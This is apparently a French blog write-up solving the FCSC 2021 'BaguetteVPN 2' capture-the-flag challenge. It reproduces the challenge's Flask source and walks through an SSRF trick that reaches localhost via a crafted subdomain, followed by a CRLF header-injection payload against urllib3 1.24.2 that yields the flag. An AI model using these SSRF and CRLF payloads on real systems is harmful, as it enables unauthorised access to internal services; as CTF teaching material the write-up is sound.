Views: 1031
On va voir dans cet article, le challenge BaguetteVPN n°2 du FCSC 2021 (France Cybersecurity Challenge).
Voici la description du challenge :
Ce dernier étant la suite du premier challenge nous trouvons donc des informations dans le code source :
On retrouve donc le script utilisé pour ce challenge dans http://challenges2.france-cybersecurity-challenge.fr:5002/api/debug :
# /usr/bin/env python3
# -*- coding:utf-8 -*-
# -*- requirements:requirements.txt -*-
# Congrats! Here is the flag for Baguette VPN 1/2
# FCSC{e5e3234f8dae908461c6ee777ee329a2c5ab3b1a8b277ff2ae288743bbc6d880}
import os
import urllib3
import sys
from flask import Flask, request, jsonify, Response
app = Flask(__name__)
@app.route('/')
def index():
with open('index.html', 'r') as myfile:
return myfile.read()
@app.route('/api')
def api():
return Response('OK', status=200)
@app.route("/api/image")
def image():
filename = request.args.get("fn")
if filename:
http = urllib3.PoolManager()
return http.request('GET', 'http://baguette-vpn-cdn' + filename).data
else:
return Response('Paramètre manquant', status=400)
@app.route("/api/secret")
def admin():
if request.remote_addr == '127.0.0.1':
if request.headers.get('X-API-KEY') == 'b99cc420eb25205168e83190bae48a12':
return jsonify({"secret": os.getenv('FLAG')})
return Response('Interdit: mauvaise clé d\'API', status=403)
return Response('Interdit: mauvaise adresse IP', status=403)
@app.route("/api/debug")
def debug():
data = {}
for k, v in globals().copy().items():
if not isinstance(v, str):
data[k] = str(dir(v))
else:
data[k] = v
data['__version__'] = sys.version
return jsonify(data)
@app.route('/<path:path>')
def load_page(path):
if '..' in path:
return Response('Interdit', status=403)
try:
with open(path, 'r') as myfile:
mime = 'text/' + path.split('.')[-1]
return Response(myfile.read(), mimetype=mime)
except Exception as e:
return Response(str(e), status=404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=os.getenv('FLASK_LOCAL_PORT'))
Les deux parties qui nous intéressent sont :
@app.route("/api/image")
def image():
filename = request.args.get("fn")
if filename:
http = urllib3.PoolManager()
return http.request('GET', 'http://baguette-vpn-cdn' + filename).data
else:
return Response('Paramètre manquant', status=400)
@app.route("/api/secret")
def admin():
if request.remote_addr == '127.0.0.1':
if request.headers.get('X-API-KEY') == 'b99cc420eb25205168e83190bae48a12':
return jsonify({"secret": os.getenv('FLAG')})
return Response('Interdit: mauvaise clé d\'API', status=403)
return Response('Interdit: mauvaise adresse IP', status=403)
Afin de récupérer le flag sur /api/secret il faut venir en provenance de 127.0.0.1 et envoyer un header avec l’API KEY.
C’est là que nous allons utiliser l’api image qui fait une requête GET sur http://baguette-vpn-cdn et le paramètre fn que nous lui fournissons, pour venir en provenance de 127.0.0.1 nous pouvons par exemple enregistrer un sous-domaine qui commence par baguette-vpn-cdn et qui pointe sur 127.0.0.1 :
Et donc en utilisant comme paramètre .bookctf.eu ceci nous redirige vers le 127.0.0.1 :
http://baguette-vpn-cdn.bookctf.eu
Avec un peu de flair et l’indice qui nous dit que le port est inférieur à 2000 on peut donc supposer que c’est le fameux 1337 ou bien avec une petite boucle testant chaque port de 1 à 2000.
Il est également possible d’utiliser une méthode plus facile avec des payloads comme :
whatever.localhost:1337/api/secret
@localhost:1337/api/secret
@127.0.0.1/api/secret
.localtest.me:1337/api/secret
On a donc passé la première condition et pour la dernière il s’agit d’exploiter la faille CRLF et on trouve une bonne piste grâce au fichier requirements.txt qui nous donne la version du module urllib3 (1.24.2) et à ce lien exploitant une CRLF dans le module urllib3 qui est utilisé par notre script.
Nous pouvons donc injecter notre header permettant de récupérer le flag grâce à ce payload :
%20HTTP/1.1%0D%0AX-API-KEY:%20b99cc420eb25205168e83190bae48a12%0D%0AIgnore:
Et on récupère donc ce fameux flag !
http://challenges2.france-cybersecurity-challenge.fr:5002/api/image?fn=.bookctf.eu:1337/api/secret%20HTTP/1.1%0D%0AX-API-KEY:%20b99cc420eb25205168e83190bae48a12%0D%0AIgnore:
parfait !
Merci beaucoup !